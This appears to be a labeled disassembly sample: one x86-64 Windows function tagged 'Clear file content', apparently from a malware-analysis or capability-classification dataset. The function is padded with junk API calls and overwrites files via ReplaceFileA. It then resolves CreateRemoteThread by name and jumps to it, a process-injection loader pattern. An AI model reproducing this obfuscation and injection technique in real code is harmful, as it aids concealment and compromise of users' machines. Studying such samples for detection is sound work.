Function at 0x4097bf
Capabilities:
Clear file content

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0xf8]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x70], rax
mov rax, qword [0x004c3330]
mov qword [rsp + 0x50], r8
cmp dword [rax], 0x742b
mov qword [rsp + 0x58], r9
jle 0x409e8b
mov r13, qword [0x004c32e0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov r15, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov dword [r13], 0xf87f722d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r15
mov r12, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r12
mov rax, qword [0x004c2a70]
mov ecx, dword [rax]
call fcn.0040c910
mov rdx, qword [0x004c3580]
mov rbp, qword [0x004c33a0]
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rdx], eax
mov rax, qword [0x004c2cc0]
mov edx, dword [rax]
mov rax, qword [0x004c2cb0]
mov dword [rax], edx
mov edx, dword [rbp]
mov rax, qword [0x004c2b50]
mov dword [rax], edx
call rsi
mov rbx, qword [0x004c2c30]
mov ecx, dword [rbx]
call fcn.0040c910
mov rdi, qword [0x004c2a90]
mov ecx, 0x34c39d21
mov dword [rdi], eax
call fcn.0040c910
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004c2a00]
mov dword [rax], 0x584e5f82
call r12
mov rax, qword [0x004c2c10]
mov edx, dword [rax]
mov rax, qword [str.RfV__]
mov dword [rax], edx
mov rax, qword [0x004c3270]
mov ecx, dword [rax]
call fcn.0040c910
mov rdx, qword [0x004c35a0]
mov rbx, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r15
mov r14, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
call r14
mov edx, dword [rdi]
mov rax, qword [0x004c2ad0]
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rax], edx
mov rax, qword [0x004c2a80]
xor edx, edx
mov dword [rax], 0x7a677b55
call rdi
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
mov ecx, 0x52854eee
call fcn.0040c910
mov rdx, qword [0x004c3110]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor ecx, ecx
call rbx
mov rax, qword [0x004c2d10]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x7961a8d9
mov rax, qword [0x004c3560]
mov dword [rax], 0xaa57ba43
call r14
mov rax, qword [0x004c35f0]
mov ecx, 0x1fb7b31f
mov edx, dword [rax]
mov rax, qword [0x004c3600]
mov dword [rax], edx
call fcn.0040c910
mov rdx, qword [0x004c2b60]
mov ecx, 0x797896d6
mov dword [rdx], eax
call fcn.0040c910
mov rdx, qword [0x004c31a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004c30b0]
mov edx, dword [rax]
mov rax, qword [0x004c3240]
mov dword [rax], edx
xor edx, edx
call rdi
xor r9d, r9d
xor r8d, r8d
mov dword [rbp], 0x891425e3
xor edx, edx
mov rbp, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor ecx, ecx
mov qword [rsp + 0x20], 0
call rbp
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rsi
mov rax, qword [0x004c36d0]
mov ecx, 0x1967788
mov dword [rax], 0x4c6c49c8
call fcn.0040c910
xor ecx, ecx
mov dword [r13], eax
call rsi
mov rax, qword [0x004c3670]
mov rcx, qword [0x004c2af0]
mov r10, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [rax]
mov qword [rsp + 0x78], r10
mov dword [rcx], eax
mov rax, qword [0x004c29b0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004c34e0]
mov dword [rax], edx
mov rax, qword [0x004c2ca0]
mov dword [rax], 0x356f9cb5
call r10
xor ecx, ecx
call rbx
mov ecx, 0x30b9c032
call fcn.0040c910
mov rdx, qword [0x004c30c0]
mov ecx, 0x452aac95
mov dword [rdx], eax
call fcn.0040c910
mov rdx, qword [0x004c33f0]
xor ecx, ecx
mov r10, qword [rsp + 0x78]
mov dword [rdx], eax
call r10
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r15
mov rax, qword [str.TR2j]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004c2cd0]
mov dword [rax], edx
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004c2f00]
mov r15, qword [0x004c34a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004c2a50]
mov dword [rax], edx
mov rdx, qword [0x004c3410]
mov eax, dword [r15]
mov dword [rdx], eax
call rbx
mov rax, qword [0x004c3140]
mov rcx, qword [0x004c31b0]
mov r13, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r13
mov ecx, 0x80ddc008
call fcn.0040c910
mov rdx, qword [0x004c3680]
mov dword [rdx], eax
mov rax, qword [0x004c2e20]
mov rdx, qword [0x004c2b60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004c2c90]
mov ecx, dword [rax]
call fcn.0040c910
mov rdx, qword [0x004c3130]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004c2d00]
mov rcx, qword [0x004c2d30]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r12
xor ecx, ecx
call r13
mov rax, qword [0x004c30e0]
mov ecx, dword [rax]
call fcn.0040c910
mov rdx, qword [0x004c2a20]
mov ecx, 0xbc62b5ba
mov dword [rdx], eax
call fcn.0040c910
mov rdx, qword [0x004c2db0]
mov ecx, 0x37116a92
mov dword [rdx], eax
call fcn.0040c910
mov rdx, qword [0x004c34c0]
mov r10, qword [rsp + 0x78]
xor ecx, ecx
mov dword [rdx], eax
call r10
mov rax, qword [0x004c3410]
mov ecx, dword [rax]
call fcn.0040c910
mov rcx, qword [0x004c2b60]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbp
mov ecx, 0xb2eb6f17
call fcn.0040c910
mov rdx, qword [0x004c2c10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004c2f10]
mov dword [rax], 0xefa567c6
call rbx
mov rax, qword [0x004c32f0]
xor ecx, ecx
mov dword [rax], 0x2cfa3d27
call rsi
xor ecx, ecx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbp
mov ecx, 0xb2c93484
call fcn.0040c910
mov rdx, qword [0x004c2ef0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbp
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004c31b0]
mov edx, dword [rax]
mov rax, qword [0x004c2a40]
mov dword [rax], edx
mov rax, qword [0x004c2ee0]
mov edx, dword [rax]
mov rax, qword [0x004c2d70]
mov dword [rax], edx
mov rax, qword [0x004c3660]
mov ecx, dword [rax]
call fcn.0040c910
mov rcx, qword [0x004c2c90]
mov dword [rcx], eax
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004c3420]
mov ecx, dword [rax]
call fcn.0040c910
mov rdx, qword [0x004c2a20]
mov ecx, 0xbd8d8595
mov dword [rdx], eax
mov rax, qword [0x004c29f0]
mov dword [rax], 0x73902726
call fcn.0040c910
mov rcx, qword [0x004c30b0]
mov dword [rcx], eax
mov rax, qword [0x004c31a0]
xor ecx, ecx
mov dword [rax], 0xf89b39d1
call rsi
xor r9d, r9d
lea r8, str.MrEthanTurner
lea rdx, str.KaciJohnson
mov qword [rsp + 0x28], 0
lea rcx, str.MissChristelleLittelII
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov rax, qword [0x004c3530]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf9cc0c9e
call rdi
xor edx, edx
xor ecx, ecx
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbp
mov ecx, 0x140cdbcd
call fcn.0040c910
mov rdx, qword [0x004c2970]
mov ecx, 0x4568bbce
mov dword [rdx], eax
mov rax, qword [0x004c36e0]
mov edx, dword [rax]
mov rax, qword [0x004c2c80]
mov dword [rax], edx
call fcn.0040c910
mov rdx, qword [0x004c2af0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov edx, dword [r15]
mov rax, qword [0x004c31d0]
xor ecx, ecx
mov dword [rax], edx
call r12
xor ecx, ecx
call r12
mov rax, qword [0x004c36b0]
mov ecx, 0x33dceeb2
mov dword [rax], 0x1318293e
call fcn.0040c910
mov rdx, qword [0x004c2bd0]
mov ecx, 0x25b814e
mov dword [rdx], eax
mov rax, qword [0x004c2ca0]
mov edx, dword [rax]
mov rax, qword [0x004c2b20]
mov dword [rax], edx
call fcn.0040c910
mov rdx, qword [0x004c2c20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004c3190]
mov dword [rax], 0x8e4a7802
call r13
mov rax, qword [0x004c2d30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x5c1c9364
mov qword [rsp + 0x20], 0
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
call rbp
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
lea rdx, str.CreateRemoteThread
lea rcx, str.kernel32.dll
call fcn.00408c21
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x100], rsi
mov rdx, qword [rsp + 0x48]
mov esi, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0xf0], rdi
mov dword [rsp + 0xf8], esi
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax